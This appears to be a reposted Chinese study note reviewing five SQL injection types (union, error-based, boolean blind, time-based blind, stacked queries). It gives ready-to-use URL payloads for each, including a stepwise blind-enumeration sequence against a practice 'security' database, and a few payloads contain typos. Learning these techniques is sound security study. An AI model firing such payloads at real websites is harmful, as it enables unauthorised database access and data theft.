sql注入复习--常见的五种注入类型


  • SQL注入常见的五种注入类型
  1. 正常回显
  2. 错误回显
  3. 基于bool的盲注
  4. 基于时间的盲注
  5. 堆查询注入

 


 

什么是SQL注入

  SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  简单来说,注入攻击的本质就是把用户输入的数据当做代码执行。比如一个网站的url中有一个参数?id=1,此参数用于调取各个被标记好的页面,带到数据库中就会拼接为命令:select * from 库名.表名 where id=1,如果攻击者在后端加入注入语句例如:select * from 库名.表名 where id=1 and 1=1并且应用程序没有对参数做过滤的话,1=1将被执行,攻击者即可判断出此处存在注入漏洞。

 

SQL注入的分类

1、 按参数类型分为字符型数字型

2、 按页面回显分为回显注入和盲注,其中回显又分为回显正常回显报错,盲注分为时间盲注布尔盲注

PS:更多的时候我们会希望它能够回显报错,因为报错信息会将数据库信息暴露出来,更便于进一步注入。不同的数据库注入语言和方式都有所不同,所以知道渗透目标使用什么数据库至关重要。

 

五种注入类型的应用场景

1、正常回显

数据库中的数据能够显示到网页中即可使用正常回显(可使用联合查询)

  例1:?id=1 and 1=2 union select 1,2,...,n from 库名.表名 where...

  前面的语句因为1=2不成立所以不会成功执行,union后的select语句选择的列名内容则会相应的回显出来,将回显出来的数据替换成自己想要爆出的数据内容即可。

  例2:有些表单注入也存在正常回显注入,比如当输入正确的用户名和密码后,登录成功的页面可能会显示出你的用户名的相关内容,这就表示有回显的机会,可以尝试在用户名表单或者密码表单中进行注入。

2.错误回显

  基于错误消息注入前提是页面能够响应详细信息的错误描述,如果网站关闭了数据库的报错提示则无法使用错误回显。

  常见的三种报错注入函数有(以查database为例):

    updatexml()  ?id=1 and updatexml(1,concat(0x7e,(select(select database())),0x7e),1) 

    floor()         ?id=1 and select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x

    extractvalue()    ?id=-1 or extractvalue(1,concat(0x7e,(select database())))

  updatexml和extractvalue的报错原因均为路径错误,floor的报错原因为主键冗余。

 3.基于bool的盲注

  网站能够返回ture/false两种不同显示的页面

盲注大致流程:

确定是否存在漏洞 → 确定数据库名长度 → 确定数据库名 → 确定表名长度 → 确定表名 → 确定列名长度 → 确定列名 → 确定内容长度 → 确定内容   

?id=1" and 1=1--+
?id=1" and 1=2--+
?id=1" and length(database())>1--+
?id=1" and ascii(mid(database(),1,1))>1--+ 
?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+
?id=1" and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+
?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1))>1--+ 2
?id=1" and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))>1--+ 
?id=1" and length((select id from security.emails limit 0,1))>0--+
?id=1" and ascii(mid((select id from security.emails limit 0,1),1,1))>1--+

4.基于时间的盲注

  无论查询语句正确与否,网站都会返回相同的页面。

  ?id=1 and 1=1 and sleep(3)

  ?id=1 and 1=2 and sleep(3)

  只有当前面的语句都正确时sleep()才会被执行。

 5.堆查询注入

   用';'分割开多条语句,可同时执行多条语句

     Q:Union也是将两条语句合并在一起,两者有何区别

     A:union/union all执行的语句类型是有限的,可以用来执行查询语句,

      而堆叠注入可以执行的是任意的语句(增删改查)

   

  PS:盲注费事费力,想要完全手工是几乎不可能的事,

     所以会使用一些SQL注入工具,如sqlmap

 


   a little bit question

   Q:union 和and有什么区别,要在什么时候使用

   A:union把两条记录合并成一个记录,当union前面的语句为假,

       后面的语句为真,则只会显示后面的语句,不会报错

      而and用在条件中,是与的关系,只有前后都为真才正确

    

   practice makes perfect!


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM